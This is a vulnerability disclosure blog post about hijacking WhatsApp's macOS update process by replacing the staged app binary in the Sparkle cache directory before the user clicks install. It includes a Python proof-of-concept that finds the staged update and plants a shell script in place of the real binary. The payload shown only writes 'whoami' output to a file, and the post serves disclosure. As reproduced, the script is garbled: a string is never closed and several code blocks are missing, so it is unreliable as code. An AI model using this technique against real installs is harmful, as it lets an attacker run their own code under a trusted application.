Abusing WhatsApp update process on macOS

Hijacking update process to plant our own binary

Posted by NSEcho on 2024-05-07 14:10:44


About a month ago, I have reported this to the WhatsApp team, and they refused to acknowledge this as a vulnerability, so I have waited for the new version to write a blog post about the issue.

Basically, during the update time no checks have been made to confirm whether the update is legit.

WhatsApp response

I agree with their answer that an attacker could make something much worse, but still a fun issue to write about because there may be other applications that are vulnerable to this and may be impact can be greater than the simply replacing binary like it is described here.


Once the update is downloaded and ready to be installed, you will see the following window.


Update that is ready to be installed can be found in the ~/Library/Caches/net.whatsapp.WhatsApp/org.sparkle-project.Sparkle/Installation/RANDOM_ID/ which contains WhatsApp.app.

Content of the update directory

By default, SIP (System Integrity Protection) prevents modifications inside of /Applications directory which can be seen on the image below, but with this “vulnerability” we can do that.

SIP confirmation

Even though the SIP blocks this, we can still abuse the update process to plant our own binary in this case a simple shell script that writes current user to /tmp/output file.

#!/usr/bin/env python3
import glob
import os
import stat

content = """#!/bin/sh

whoami > /tmp/output

def main():
    # get the path to the directory
    base_path = os.path.expanduser('~/Library/Caches/net.whatsapp.WhatsApp/org.sparkle-project.Sparkle/Installation/')
    update_dir = glob.glob(base_path + '*/WhatsApp.app/Contents/MacOS', recursive=False)

    if len(update_dir) != 1:
        print("Update not found")

    # obtain the binary path
    binary_path = os.path.join(update_dir[0], 'WhatsApp')

    print("Update found")
    print("Replacing the file")

    # Remove real WhatsApp binary

    # Write the content
    with open(binary_path, "w") as f:

    # give executable permissions to planted binary
    st = os.stat(binary_path)
    os.chmod(binary_path, st.st_mode | stat.S_IEXEC)

if __name__ == "__main__":

After running it, we can confirm that the shell script is now there instead of the original binary.

Running exploit

Now, the only thing left is to click on Install and Relaunch or wait for the user to do it and on the new run, we can see that our exploit is working correctly.

Running WhatsApp